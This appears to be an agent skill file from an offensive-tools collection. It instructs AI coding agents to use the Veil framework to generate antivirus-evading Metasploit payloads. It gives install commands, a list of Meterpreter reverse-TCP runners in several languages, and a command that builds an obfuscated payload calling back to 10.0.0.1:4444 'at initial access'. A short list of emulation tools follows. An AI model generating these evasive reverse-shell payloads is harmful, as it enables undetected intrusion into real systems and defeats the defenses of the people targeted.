offensive-tools/evasion/veil/SKILL.md
Veil: AV evasion framework generating Metasploit-compatible payloads in multiple languages (Python, Ruby, Go, C#, PowerShell) to bypass common antivirus. Use when generating obfuscated shellcode runners or embedding Meterpreter payloads that survive AV scanning at initial access.
npx skillsauth add aeondave/malskill veilInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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AV evasion payload generator for Metasploit.
git clone https://github.com/Veil-Framework/Veil && cd Veil && ./config/setup.sh
./Veil.py
./Veil.py --list-tools
| Payload | Language |
|---------|----------|
| python/meterpreter/rev_tcp | Python shellcode runner |
| ruby/meterpreter/rev_tcp | Ruby runner |
| powershell/meterpreter/rev_tcp | PowerShell runner |
| cs/meterpreter/rev_tcp | C# compiled dropper |
| go/meterpreter/rev_tcp | Go-compiled runner |
./Veil.py -t Evasion --payload python/meterpreter/rev_tcp \
--ip 10.0.0.1 --port 4444 --output veil_payload
| File | When to load |
|------|--------------|
| references/ | Full payload list, obfuscation techniques |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.